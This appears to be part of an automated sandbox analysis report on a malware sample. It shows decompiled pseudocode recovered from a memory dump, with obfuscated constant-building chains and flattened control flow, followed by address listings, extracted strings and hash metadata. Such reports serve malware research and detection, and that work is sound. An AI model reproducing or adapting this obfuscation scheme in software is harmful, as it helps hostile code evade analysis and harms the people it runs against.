				_v156 = _v156 ^ 0x22d92b94;
				_v328 = 0xdd275a;
				_v328 = _v328 ^ 0xf9c8fd87;
				_v328 = _v328 | 0xb4ffffed;
				_v328 = _v328 ^ 0xfdf2704c;
				_v220 = 0xdc69da;
				_v220 = _v220 / _t821;
				_v220 = _v220 ^ 0xf70c1774;
				_v220 = _v220 ^ 0xf706e836;
				_v236 = 0xe3f700;
				_v236 = _v236 << 6;
				_v236 = _v236 | 0x5d8b8659;
				_v236 = _v236 ^ 0x7dfec952;
				_v132 = 0xe887ef;
				_t822 = 7;
				_v132 = _v132 / _t822;
				_v132 = _v132 ^ 0x0024c858;
				_v140 = 0xc58056;
				_v140 = _v140 >> 5;
				_v140 = _v140 ^ 0x0004a47e;
				_v244 = 0x7835a9;
				_v244 = _v244 >> 5;
				_v244 = _v244 + 0xffff434e;
				_v244 = _v244 ^ 0x000b19d5;
				_v124 = 0x628bac;
				_v124 = _v124 >> 0x10;
				_v124 = _v124 ^ 0x000d99ba;
				_v196 = 0x3c4d43;
				_v196 = _v196 << 0xe;
				_v196 = _v196 ^ 0x3d5f35f5;
				_v196 = _v196 ^ 0x2e03dce1;
				_v204 = 0x3d8ce2;
				_v204 = _v204 + 0x9c91;
				_v204 = _v204 ^ 0x7a1df218;
				_v204 = _v204 ^ 0x7a210bc9;
				_v188 = 0x2b0ddf;
				_v188 = _v188 >> 0xe;
				_v188 = _v188 >> 0xf;
				_v188 = _v188 ^ 0x00037781;
				_v312 = 0x266488;
				_t823 = 0x3c;
				_v312 = _v312 / _t823;
				_v312 = _v312 >> 2;
				_v312 = _v312 + 0xffff0572;
				_v312 = _v312 ^ 0xffff9b33;
				_v320 = 0xbcf7b8;
				_t824 = 0x39;
				_v320 = _v320 * 0x6b;
				_v320 = _v320 * 0x26;
				_v320 = _v320 / _t824;
				_v320 = _v320 ^ 0x034e55e7;
				_v364 = 0xfcda34;
				_v364 = _v364 + 0xdb03;
				_v364 = _v364 >> 6;
				_v364 = _v364 + 0xabad;
				_v364 = _v364 ^ 0x000f61ab;
				_v92 = 0x2a2b0e;
				_v92 = _v92 + 0x4979;
				_v92 = _v92 ^ 0x0021c920;
				_v144 = 0xa1e216;
				_v144 = _v144 + 0xffff5ff5;
				_v144 = _v144 ^ 0x00ad0a84;
				_v356 = 0xcae231;
				_v356 = _v356 >> 0xc;
				_v356 = _v356 | 0xfd8e10ca;
				_t825 = 0x72;
				_v356 = _v356 * 0x5c;
				_v356 = _v356 ^ 0x1f1c568f;
				_v324 = 0x253eae;
				_v324 = _v324 >> 2;
				_v324 = _v324 | 0xf8fd8aec;
				_v324 = _v324 + 0x754e;
				_v324 = _v324 ^ 0xf8f18caa;
				_v240 = 0xb94b94;
				_v240 = _v240 + 0xffff03b1;
				_v240 = _v240 + 0xc1ea;
				_v240 = _v240 ^ 0x00b636b6;
				_v248 = 0x665da;
				_v248 = _v248 / _t825;
				_v248 = _v248 ^ 0xe7146895;
				_v248 = _v248 ^ 0xe71d8416;
				_v136 = 0xf03201;
				_v136 = _v136 | 0x16662734;
				_v136 = _v136 ^ 0x16f8276c;
				_v348 = 0xf58dc;
				_v348 = _v348 | 0xcefb25f5;
				_v348 = _v348 ^ 0xb79d248d;
				_v348 = _v348 * 5;
				_v348 = _v348 ^ 0x5ee99df0;
				_v292 = 0x1bda;
				_v292 = _v292 ^ 0xf0c300cc;
				_v292 = _v292 | 0x62eaa242;
				_v292 = _v292 ^ 0x0fb5f6bf;
				_v292 = _v292 ^ 0xfd545b0a;
				_v388 = 0x7e987;
				_v388 = _v388 | 0xe51d24f3;
				_v388 = _v388 << 1;
				_v388 = _v388 | 0xd459dc12;
				_v388 = _v388 ^ 0xde72c5d1;
				_v168 = 0x6f1542;
				_v168 = _v168 >> 0xb;
				_v168 = _v168 ^ 0x00095e82;
				_v316 = 0xeb0c05;
				_v316 = _v316 * 0x34;
				_v316 = _v316 ^ 0x9a011e6d;
				_v316 = _v316 + 0xffffdd41;
				_v316 = _v316 ^ 0xb5bd4b4c;
				_v108 = 0x4384da;
				_v108 = _v108 << 7;
				_v108 = _v108 ^ 0x21ca9036;
				_v376 = 0x26f029;
				_v376 = _v376 | 0x5c3fc44f;
				_v376 = _v376 * 0x5e;
				_v376 = _v376 << 0xa;
				_v376 = _v376 ^ 0xef0e7155;
				_v120 = 0xfb00c8;
				_t826 = 0x70;
				_v120 = _v120 / _t826;
				_v120 = _v120 ^ 0x0007bcc6;
				_v104 = 0x83a54a;
				_v104 = _v104 + 0xffff432b;
				_v104 = _v104 ^ 0x008e71dd;
				_v384 = 0x2ff4f3;
				_v384 = _v384 | 0xd0f2a060;
				_v384 = _v384 << 0xc;
				_t827 = 0x63;
				_v384 = _v384 * 0x15;
				_v384 = _v384 ^ 0xf17b8b1a;
				_v284 = 0x7bc7d6;
				_v284 = _v284 | 0xfb469b5d;
				_v284 = _v284 >> 0x10;
				_v284 = _v284 ^ 0x000029d1;
				_v276 = 0xc7b492;
				_v276 = _v276 ^ 0xda7fe355;
				_v276 = _v276 ^ 0xf789276a;
				_v276 = _v276 ^ 0x2d34b316;
				_v280 = 0xc4b066;
				_v280 = _v280 + 0x2d4a;
				_v280 = _v280 ^ 0x79b35fac;
				_v280 = _v280 ^ 0x79759ff7;
				_v360 = 0x6bdb51;
				_v360 = _v360 << 4;
				_v360 = _v360 >> 7;
				_v360 = _v360 / _t827;
				_v360 = _v360 ^ 0x0009f0c5;
				_v180 = 0xdedf2a;
				_t828 = 0x4a;
				_v180 = _v180 * 0x51;
				_v180 = _v180 ^ 0x46824d47;
				_v368 = 0xc3e69e;
				_v368 = _v368 + 0xffff984d;
				_v368 = _v368 * 0x6d;
				_v368 = _v368 * 0x79;
				_v368 = _v368 ^ 0x57d87162;
				_v300 = 0x54bd4a;
				_v300 = _v300 | 0xb63244a0;
				_v300 = _v300 + 0x417e;
				_v300 = _v300 | 0x63a11be6;
				_v300 = _v300 ^ 0xf7f931f3;
				_v268 = 0xbea848;
				_v268 = _v268 >> 9;
				_v268 = _v268 | 0x5eb62668;
				_v268 = _v268 ^ 0x5eb9ee94;
				_v96 = 0x440258;
				_v96 = _v96 >> 0x10;
				_v96 = _v96 ^ 0x0009723b;
				_v176 = 0x3b19f4;
				_v176 = _v176 / _t828;
				_v176 = _v176 ^ 0x0001c2c1;
				_v116 = 0x144365;
				_v116 = _v116 | 0x65ecb7a2;
				_v116 = _v116 ^ 0x65f0ee99;
				_v288 = 0xea5434;
				_v288 = _v288 >> 1;
				_v288 = _v288 | 0xb6140203;
				_v288 = _v288 >> 9;
				_v288 = _v288 ^ 0x0050b8a2;
				_v304 = 0x566331;
				_t916 = 0x8e3f5ae;
				_v304 = _v304 >> 4;
				_t913 = 0xf1618c3;
				_v304 = _v304 >> 9;
				_v304 = _v304 >> 5;
				_v304 = _v304 ^ 0x000acbce;
				_v72 = 0x20;
				while(1) {
					L1:
					_t829 = 0xfce4db5;
					_t761 = 0x8c7d07e;
					_t889 = 0x74c5c61;
					do {
						while(1) {
							L2:
							_t925 = _t808 - _t916;
							if(_t925 <= 0) {
								break;
							}
							__eflags = _t808 - _t913;
							if(_t808 == _t913) {
								E00D92CF9(_v116, _v288, _v296, _v304, _v84);
								_t923 =  &(_t923[3]);
								_t808 = 0x3abff5b;
								goto L24;
							} else {
								__eflags = _t808 - 0xf774147;
								if(__eflags == 0) {
									_t808 = 0x77e61bb;
									continue;
								} else {
									__eflags = _t808 - _t829;
									if(__eflags == 0) {
										_push(0xd91648);
										_t917 = E00DB0AD3(_v352, _v172, __eflags);
										 *_t923 = 0xd91678;
										_t795 = E00DB0AD3(_v252, _v164, __eflags);
										_v64 = _v344;
										_t797 = E00D9F14F(_v336, _t917, _v148, _v156);
										_v56 = _v56 & 0x00000000;
										_v60 = _t917;
										_v52 = 1;
										_v68 = 2 + _t797 * 2;
										_v48 =  &_v68;
										_v80 = _v72;
										__eflags = E00D9386E(_v328,  &_v80, _v220, _v228, _v236,  &_v32, _v132,  &_v56, _v76, _v140, _v244, _v72, _t795) - _v212;
										_t808 =  ==  ? 0x74c5c61 : 0xf1618c3;
										E00DA2EED(_v124, _v196, _v204, _t917);
										_t923 =  &(_t923[0x10]);
										E00DA2EED(_v188, _v312, _v320, _t795);
										L11:
										_t913 = 0xf1618c3;
										L12:
										_t916 = 0x8e3f5ae;
										L24:
										_t761 = 0x8c7d07e;
										_t829 = 0xfce4db5;
										_t889 = 0x74c5c61;
									}
								}
							}
							goto L25;
						}
						if(_t925 == 0) {
							_t763 = E00DB0AD3(_v316, _v108, __eflags);
							_t832 = 0xd91708;
							_t918 = _t763;
							_v44 = _v200;
							_v40 = _v340;
							_v36 = _v392;
							_t772 = E00DAC50B(_v376, _v84,  *((intOrPtr*)( *0xdb5be0 + 0xc)), _t832, _v120, _v104,  *0xdb5be0 + 0x70, _t832, _v128,  &_v44,  *((intOrPtr*)( *0xdb5be0 + 8)), _v384, _t763, _v284, _v276, _v280);
							_t923 =  &(_t923[0xe]);
							__eflags = _t772 - _v260;
							if(_t772 != _v260) {
								_t808 = 0x88fbe98;
							} else {
								_t808 = _t913;
								_t921 = 1;
							}
							E00DA2EED(_v360, _v180, _v368, _t918);
							goto L12;
						} else {
							if(_t808 == _t889) {
								_push(0xd91618);
								__eflags = E00D95894(_v144,  *0xdb5be0 + 0xc, _v356,  &_v80, _v324, _v240, E00DB0AD3(_v364, _v92, __eflags), _v216, _v248, _v84) - _v100;
								_t808 =  ==  ? 0x8c7d07e : _t913;
								E00DA2EED(_v136, _v348, _v292, _t774);
								_t923 =  &(_t923[0xb]);
								goto L12;
							} else {
								if(_t808 == 0x77e61bb) {
									_push(0xd91738);
									_t780 = E00DB0AD3(_v380, _v232, __eflags);
									 *_t923 = 0xd915c8;
									__eflags = E00D992DD(_t780, _v208, _v88,  &_v84, E00DB0AD3(_v184, _v272, __eflags), _v160, _v332, _v112) - _v264;
									_t808 =  ==  ? 0xfce4db5 : 0x3abff5b;
									E00DA2EED(_v152, _v224, _v372, _t780);
									E00DA2EED(_v192, _v256, _v308, _t781);
									_t923 =  &(_t923[0xb]);
									goto L11;
								} else {
									if(_t808 == 0x88fbe98) {
										E00D9F699(_v300,  *((intOrPtr*)( *0xdb5be0 + 8)), _v268, _v96, _v176);
										_t923 =  &(_t923[3]);
										_t808 = _t913;
										goto L1;
									} else {
										if(_t808 == _t761) {
											_push(_t829);
											_t792 = E00DA6F53( *((intOrPtr*)( *0xdb5be0 + 0xc)));
											_t808 =  !=  ? _t916 : _t913;
											 *((intOrPtr*)( *0xdb5be0 + 8)) = _t792;
											while(1) {
												L1:
												_t829 = 0xfce4db5;
												_t761 = 0x8c7d07e;
												_t889 = 0x74c5c61;
												goto L2;
											}
										}
									}
								}
							}
						}
						L25:
						__eflags = _t808 - 0x3abff5b;
					} while (__eflags != 0);
					return _t921;
				}
			}

0x00daf561
0x00daf567
0x00daf580
0x00daf587
0x00daf589
0x00daf594
0x00daf599
0x00daf5a4
0x00daf5ac
0x00daf5b1
0x00daf5bf
0x00daf5c6
0x00daf5cb
0x00daf5d1
0x00daf5d9
0x00daf5e1
0x00daf5e6
0x00daf5ee
0x00daf5f3
0x00daf5fb
0x00daf60e
0x00daf611
0x00daf623
0x00daf62a
0x00daf635
0x00daf640
0x00daf64f
0x00daf654
0x00daf65d
0x00daf668
0x00daf673
0x00daf67b
0x00daf683
0x00daf68e
0x00daf6a1
0x00daf6a2
0x00daf6a9
0x00daf6b4
0x00daf6bf
0x00daf6ca
0x00daf6d2
0x00daf6da
0x00daf6e5
0x00daf6f0
0x00daf6fb
0x00daf706
0x00daf711
0x00daf71c
0x00daf727
0x00daf732
0x00daf73d
0x00daf748
0x00daf753
0x00daf75b
0x00daf763
0x00daf768
0x00daf76d
0x00daf775
0x00daf783
0x00daf787
0x00daf791
0x00daf799
0x00daf7a1
0x00daf7a9
0x00daf7b1
0x00daf7bc
0x00daf7c1
0x00daf7c7
0x00daf7cf
0x00daf7da
0x00daf7e9
0x00daf7ee
0x00daf7f7
0x00daf802
0x00daf80d
0x00daf814
0x00daf81f
0x00daf82a
0x00daf832
0x00daf83a
0x00daf845
0x00daf850
0x00daf85b
0x00daf866
0x00daf871
0x00daf878
0x00daf883
0x00daf88b
0x00daf893
0x00daf89d
0x00daf89e
0x00daf8a2
0x00daf8aa
0x00daf8b5
0x00daf8c0
0x00daf8cb
0x00daf8d6
0x00daf8e1
0x00daf8ec
0x00daf8f7
0x00daf907
0x00daf90e
0x00daf919
0x00daf927
0x00daf930
0x00daf934
0x00daf93c
0x00daf944
0x00daf94f
0x00daf95a
0x00daf962
0x00daf96d
0x00daf978
0x00daf980
0x00daf98b
0x00daf996
0x00daf99e
0x00daf9a6
0x00daf9ab
0x00daf9b3
0x00daf9bb
0x00daf9c3
0x00daf9c8
0x00daf9d0
0x00daf9d8
0x00daf9e0
0x00daf9ed
0x00daf9f8
0x00dafa03
0x00dafa18
0x00dafa1b
0x00dafa22
0x00dafa2a
0x00dafa35
0x00dafa48
0x00dafa4f
0x00dafa5a
0x00dafa62
0x00dafa67
0x00dafa6f
0x00dafa77
0x00dafa7f
0x00dafa8a
0x00dafa95
0x00dafaa0
0x00dafab3
0x00dafaba
0x00dafac5
0x00dafacd
0x00dafad5
0x00dafadd
0x00dafae5
0x00dafafb
0x00dafb02
0x00dafb0d
0x00dafb18
0x00dafb23
0x00dafb2b
0x00dafb36
0x00dafb41
0x00dafb53
0x00dafb58
0x00dafb61
0x00dafb6c
0x00dafb77
0x00dafb7f
0x00dafb8a
0x00dafb95
0x00dafb9d
0x00dafba8
0x00dafbb3
0x00dafbbe
0x00dafbc6
0x00dafbd1
0x00dafbdc
0x00dafbe4
0x00dafbef
0x00dafbfa
0x00dafc05
0x00dafc10
0x00dafc1b
0x00dafc26
0x00dafc31
0x00dafc39
0x00dafc41
0x00dafc4c
0x00dafc58
0x00dafc5b
0x00dafc5f
0x00dafc64
0x00dafc6c
0x00dafc74
0x00dafc85
0x00dafc88
0x00dafc91
0x00dafc9d
0x00dafca1
0x00dafca9
0x00dafcb1
0x00dafcb9
0x00dafcbe
0x00dafcc6
0x00dafcce
0x00dafcd9
0x00dafce4
0x00dafcef
0x00dafcfa
0x00dafd05
0x00dafd10
0x00dafd18
0x00dafd1d
0x00dafd2a
0x00dafd2b
0x00dafd2f
0x00dafd37
0x00dafd3f
0x00dafd44
0x00dafd4c
0x00dafd54
0x00dafd5c
0x00dafd67
0x00dafd72
0x00dafd7d
0x00dafd88
0x00dafd9c
0x00dafda3
0x00dafdae
0x00dafdb9
0x00dafdc4
0x00dafdcf
0x00dafdda
0x00dafde2
0x00dafdea
0x00dafdf7
0x00dafdfb
0x00dafe03
0x00dafe0b
0x00dafe13
0x00dafe1b
0x00dafe23
0x00dafe2b
0x00dafe33
0x00dafe3b
0x00dafe3f
0x00dafe47
0x00dafe4f
0x00dafe5a
0x00dafe62
0x00dafe6d
0x00dafe7a
0x00dafe7e
0x00dafe86
0x00dafe8e
0x00dafe96
0x00dafea1
0x00dafea9
0x00dafeb4
0x00dafebc
0x00dafec9
0x00dafecf
0x00dafed4
0x00dafedc
0x00dafef0
0x00dafef5
0x00dafefe
0x00daff09
0x00daff14
0x00daff1f
0x00daff2a
0x00daff32
0x00daff3a
0x00daff44
0x00daff47
0x00daff4b
0x00daff53
0x00daff5e
0x00daff69
0x00daff71
0x00daff7c
0x00daff87
0x00daff92
0x00daff9d
0x00daffa8
0x00daffb3
0x00daffbe
0x00daffc9
0x00daffd4
0x00daffdc
0x00daffe1
0x00daffee
0x00dafff2
0x00dafffa
0x00db000d
0x00db000e
0x00db0015
0x00db0020
0x00db0028
0x00db0035
0x00db003e
0x00db0042
0x00db004a
0x00db0052
0x00db005a
0x00db0062
0x00db006a
0x00db0072
0x00db007d
0x00db0085
0x00db0090
0x00db009b
0x00db00a6
0x00db00ae
0x00db00b9
0x00db00cd
0x00db00d4
0x00db00df
0x00db00ea
0x00db00f5
0x00db0100
0x00db0108
0x00db010c
0x00db0114
0x00db0119
0x00db0121
0x00db0129
0x00db012e
0x00db0133
0x00db0138
0x00db013d
0x00db0142
0x00db014a
0x00db0155
0x00db0155
0x00db0155
0x00db015a
0x00db015f
0x00db0164
0x00db0164
0x00db0164
0x00db0164
0x00db0166
0x00000000
0x00000000
0x00db0411
0x00db0413
0x00db0597
0x00db059c
0x00db059f
0x00000000
0x00db0419
0x00db0419
0x00db041f
0x00db0570
0x00000000
0x00db0425
0x00db0425
0x00db0427
0x00db0438
0x00db0449
0x00db0452
0x00db0459
0x00db046d
0x00db047f
0x00db0485
0x00db0494
0x00db04a2
0x00db04ad
0x00db04bb
0x00db04d1
0x00db052c
0x00db0549
0x00db054c
0x00db0551
0x00db0564
0x00db02a2
0x00db02a2
0x00db02a7
0x00db02a7
0x00db05a4
0x00db05a4
0x00db05a9
0x00db05ae
0x00db05ae
0x00db0427
0x00db041f
0x00000000
0x00db0413
0x00db016c
0x00db034f
0x00db0354
0x00db0355
0x00db035e
0x00db0369
0x00db037b
0x00db03d8
0x00db03dd
0x00db03e0
0x00db03e7
0x00db03f0
0x00db03e9
0x00db03eb
0x00db03ed
0x00db03ed
0x00db0405
0x00000000
0x00db0172
0x00db0174
0x00db02bc
0x00db0315
0x00db032f
0x00db0332
0x00db0337
0x00000000
0x00db017a
0x00db0180
0x00db01fc
0x00db0201
0x00db0216
0x00db0262
0x00db027c
0x00db027f
0x00db029a
0x00db029f
0x00000000
0x00db0182
0x00db0188
0x00db01e2
0x00db01e7
0x00db01ea
0x00000000
0x00db018a
0x00db018c
0x00db01a3
0x00db01a7
0x00db01b8
0x00db01bb
0x00db0155
0x00db0155
0x00db0155
0x00db015a
0x00db015f
0x00000000
0x00db015f
0x00db0155
0x00db018c
0x00db0188
0x00db0180
0x00db0174
0x00db05b3
0x00db05b3
0x00db05b3
0x00db05cb
0x00db05cb

Strings

,Tj, xrefs: 00DAF96D
qDC, xrefs: 00DAF75B
~A, xrefs: 00DB005A
4T, xrefs: 00DB0100
J-, xrefs: 00DAFFB3
*h, xrefs: 00DAF7A9
;r, xrefs: 00DB00AE
M49, xrefs: 00DAF814
Nu, xrefs: 00DAFD4C
R, xrefs: 00DAFA8A
CM<, xrefs: 00DAFBD1
(, xrefs: 00DAF668
yI, xrefs: 00DAFCD9
1cV, xrefs: 00DB0121
, xrefs: 00DB014A
TqV, xrefs: 00DAF727
@H, xrefs: 00DAF883

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $($*h$,Tj$1cV$4T$;r$@H$CM<$J-$M49$Nu$R$TqV$qDC$yI$~A
API String ID: 0-1702946932
Opcode ID: abdf8281dbee21c5773c294a91bf540000c588cb66f84e2281ef9343238a1c04
Instruction ID: 716a0faf01e75444640ce15915cc897dd6ed8669fb17c526c007a73eca17b140
Opcode Fuzzy Hash: abdf8281dbee21c5773c294a91bf540000c588cb66f84e2281ef9343238a1c04
Instruction Fuzzy Hash: 7F82EE71509381DBD3B9CF65C58AB8BBBE1FBC4704F108A1DE1DA86260DBB48949CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00D9C69B, Relevance: 20.7, Strings: 16, Instructions: 715
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00D9C69B(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				void* _v88;
				intOrPtr _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				void* _t802;
				void* _t804;
				void* _t806;
				void* _t813;
				void* _t815;
				void* _t824;
				void* _t825;
				void* _t826;
				void* _t834;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				signed int _t861;
				void* _t862;
				char _t876;
				void* _t895;
				void* _t970;
				signed int _t973;
				void* _t974;
				signed int _t976;
				void* _t977;
				void* _t981;
				signed int* _t982;
				void* _t985;

				_t982 =  &_v420;
				_v92 = 0x21aaea;
				_v96 = __ecx;
				asm("stosd");
				_t840 = 0x27;
				asm("stosd");
				_t981 = 0;
				_t834 = 0x28b91dd;
				asm("stosd");
				_v276 = 0xea4201;
				_v276 = _v276 / _t840;
				_v276 = _v276 >> 9;
				_v276 = _v276 ^ 0x00000300;
				_v216 = 0x33fbfd;
				_v216 = _v216 + 0xffff15bd;
				_v216 = _v216 ^ 0x003311ba;
				_v348 = 0x23ac56;
				_t841 = 7;
				_v348 = _v348 * 0x70;
				_v348 = _v348 >> 0xa;
				_v348 = _v348 << 5;
				_v348 = _v348 ^ 0x007cdb20;
				_v152 = 0xc392ed;
				_v152 = _v152 | 0x3cac8e62;
				_v152 = _v152 ^ 0x3cef9eef;
				_v120 = 0xdb52e;
				_v120 = _v120 | 0x021edf72;
				_v120 = _v120 ^ 0x021fff7e;
				_v140 = 0x716289;
				_v140 = _v140 / _t841;
				_v140 = _v140 ^ 0x001032a5;
				_v404 = 0x901eee;
				_v404 = _v404 | 0xb1deeda2;
				_v404 = _v404 << 0x10;
				_t842 = 0x18;
				_v404 = _v404 * 0x76;
				_v404 = _v404 ^ 0xf7b40000;
				_v308 = 0x6641fd;
				_v308 = _v308 << 8;
				_v308 = _v308 >> 0xb;
				_v308 = _v308 ^ 0x000cc83f;
				_v220 = 0xec4b39;
				_t65 =  &_v220; // 0xec4b39
				_v220 =  *_t65 * 0x63;
				_v220 = _v220 ^ 0x5b61170b;
				_v336 = 0x6361c6;
				_v336 = _v336 | 0x3c2b95f6;
				_v336 = _v336 << 6;
				_v336 = _v336 ^ 0xaef3ea0d;
				_v336 = _v336 ^ 0xb40e978d;
				_v196 = 0x15a25f;
				_v196 = _v196 * 0x3e;
				_v196 = _v196 ^ 0x053d5302;
				_v244 = 0xaeb8cf;
				_v244 = _v244 ^ 0x8ffcaaa2;
				_v244 = _v244 + 0xffff121b;
				_v244 = _v244 ^ 0x8f512488;
				_v284 = 0x3cdf2a;
				_v284 = _v284 / _t842;
				_t843 = 0x6f;
				_v284 = _v284 / _t843;
				_v284 = _v284 ^ 0x00028d29;
				_v380 = 0xe8bf5b;
				_v380 = _v380 | 0xa79448e5;
				_v380 = _v380 + 0x3298;
				_t844 = 0x61;
				_v380 = _v380 / _t844;
				_v380 = _v380 ^ 0x01b6f871;
				_v164 = 0xa028e3;
				_v164 = _v164 >> 8;
				_v164 = _v164 ^ 0x000bef7a;
				_v144 = 0xaa000b;
				_v144 = _v144 | 0xb15b5655;
				_v144 = _v144 ^ 0xb1f93ed7;
				_v224 = 0x825ce8;
				_v224 = _v224 ^ 0x99839705;
				_v224 = _v224 ^ 0x990bf034;
				_v232 = 0x9a02a1;
				_v232 = _v232 ^ 0x3230df48;
				_v232 = _v232 ^ 0x32abc77a;
				_v372 = 0xe8db0;
				_v372 = _v372 ^ 0xdf502c0f;
				_v372 = _v372 << 4;
				_v372 = _v372 + 0xa166;
				_v372 = _v372 ^ 0xf5e20524;
				_v236 = 0xf17d89;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xc5fdd8cb;
				_v192 = 0x124401;
				_v192 = _v192 << 1;
				_v192 = _v192 ^ 0x002403ab;
				_v200 = 0x5fb430;
				_v200 = _v200 ^ 0xc7981bfe;
				_v200 = _v200 ^ 0xc7ca3d42;
				_v208 = 0xc74c13;
				_t845 = 0x57;
				_v208 = _v208 / _t845;
				_v208 = _v208 ^ 0x0006a8aa;
				_v168 = 0x8380fc;
				_v168 = _v168 * 0x53;
				_v168 = _v168 ^ 0x2aae8785;
				_v176 = 0x9ffdb9;
				_v176 = _v176 ^ 0xfc54cce6;
				_v176 = _v176 ^ 0xfccfce01;
				_v184 = 0x3c19aa;
				_v184 = _v184 + 0xffff0dbd;
				_v184 = _v184 ^ 0x003c7cd6;
				_v332 = 0x7ddf6a;
				_v332 = _v332 * 0x48;
				_v332 = _v332 + 0xffffc784;
				_v332 = _v332 >> 2;
				_v332 = _v332 ^ 0x08d6f5e9;
				_v260 = 0x768b26;
				_v260 = _v260 + 0x1ea0;
				_v260 = _v260 >> 0xa;
				_v260 = _v260 ^ 0x00091d68;
				_v340 = 0xf041ab;
				_v340 = _v340 | 0x9a3ffa69;
				_v340 = _v340 * 0x76;
				_v340 = _v340 << 2;
				_v340 = _v340 ^ 0xc7fb4a22;
				_v356 = 0x43b3d6;
				_v356 = _v356 + 0x4b8b;
				_v356 = _v356 + 0xe9f;
				_v356 = _v356 >> 3;
				_v356 = _v356 ^ 0x000654db;
				_v296 = 0x3744a4;
				_v296 = _v296 | 0xb4c0bda8;
				_v296 = _v296 << 0xc;
				_v296 = _v296 ^ 0x7fd1bf6e;
				_v240 = 0xf0a4a1;
				_t846 = 0x35;
				_t973 = 0x29;
				_v240 = _v240 * 0x29;
				_v240 = _v240 ^ 0x268dfba5;
				_v204 = 0x963c75;
				_v204 = _v204 * 0x65;
				_v204 = _v204 ^ 0x3b49a4c9;
				_v248 = 0xe9b3e2;
				_v248 = _v248 + 0xffffcfe1;
				_v248 = _v248 + 0xffff3918;
				_v248 = _v248 ^ 0x00edd730;
				_v320 = 0x14b129;
				_v320 = _v320 | 0x7afa9cce;
				_v320 = _v320 << 6;
				_v320 = _v320 * 0x2c;
				_v320 = _v320 ^ 0xf22961a1;
				_v412 = 0xf4420e;
				_v412 = _v412 * 0x78;
				_v412 = _v412 >> 5;
				_v412 = _v412 + 0x6896;
				_v412 = _v412 ^ 0x039e325f;
				_v420 = 0x97c268;
				_v420 = _v420 >> 7;
				_v420 = _v420 + 0x9a22;
				_v420 = _v420 * 5;
				_v420 = _v420 ^ 0x0006f3f8;
				_v368 = 0xfa90cd;
				_v368 = _v368 >> 3;
				_v368 = _v368 | 0x960f0bdf;
				_v368 = _v368 / _t846;
				_v368 = _v368 ^ 0x02d25408;
				_v344 = 0xc4a2c6;
				_v344 = _v344 / _t973;
				_t847 = 0x6d;
				_v344 = _v344 * 0x41;
				_v344 = _v344 / _t847;
				_v344 = _v344 ^ 0x0000e167;
				_v376 = 0xa5ec95;
				_v376 = _v376 + 0xffff9374;
				_v376 = _v376 + 0x40c1;
				_v376 = _v376 << 5;
				_v376 = _v376 ^ 0x14ba2e6c;
				_v124 = 0xd2fda4;
				_v124 = _v124 + 0xe683;
				_v124 = _v124 ^ 0x00d1ecea;
				_v188 = 0x3a4eac;
				_v188 = _v188 * 0x65;
				_v188 = _v188 ^ 0x170628e3;
				_v132 = 0x698490;
				_v132 = _v132 + 0x597e;
				_v132 = _v132 ^ 0x0066fb45;
				_v292 = 0x223a77;
				_v292 = _v292 << 0xd;
				_v292 = _v292 + 0xffff3c10;
				_v292 = _v292 ^ 0x474a06e9;
				_v180 = 0x302f0e;
				_v180 = _v180 >> 5;
				_v180 = _v180 ^ 0x000a5e5d;
				_v300 = 0xc22ee2;
				_v300 = _v300 << 9;
				_v300 = _v300 ^ 0x161ea530;
				_v300 = _v300 ^ 0x924eaf38;
				_v172 = 0xfb4aa2;
				_t848 = 0x5b;
				_v172 = _v172 / _t848;
				_v172 = _v172 ^ 0x000048eb;
				_v388 = 0x360efc;
				_t849 = 0xa;
				_v388 = _v388 * 0x3a;
				_v388 = _v388 + 0xc1c4;
				_v388 = _v388 + 0x5664;
				_v388 = _v388 ^ 0x0c403f0e;
				_v396 = 0x5476a;
				_v396 = _v396 ^ 0x42600bf2;
				_v396 = _v396 >> 0xe;
				_v396 = _v396 * 0x62;
				_v396 = _v396 ^ 0x00664365;
				_v328 = 0xe3494b;
				_v328 = _v328 + 0x92aa;
				_v328 = _v328 ^ 0x6aed616f;
				_t376 =  &_v328; // 0x6aed616f
				_v328 =  *_t376 / _t849;
				_v328 = _v328 ^ 0x0a9641d7;
				_v268 = 0xcdefc7;
				_v268 = _v268 ^ 0xa3334e4e;
				_t850 = 0x25;
				_v268 = _v268 / _t850;
				_v268 = _v268 ^ 0x04647efb;
				_v400 = 0x131a5;
				_t851 = 0x64;
				_v400 = _v400 * 0x4a;
				_v400 = _v400 ^ 0x0f1274da;
				_v400 = _v400 * 0x22;
